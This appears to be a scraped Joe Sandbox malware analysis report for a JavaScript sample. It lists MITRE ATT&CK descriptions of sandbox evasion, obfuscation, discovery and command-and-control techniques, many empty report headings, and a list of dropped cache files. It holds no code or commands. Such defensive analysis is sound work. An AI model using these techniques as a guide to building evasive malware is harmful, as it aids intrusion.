Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 321646101945257.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2a758b88-8cda-4e51-94f0-a2882b06e819.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4268

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
321646101945257.js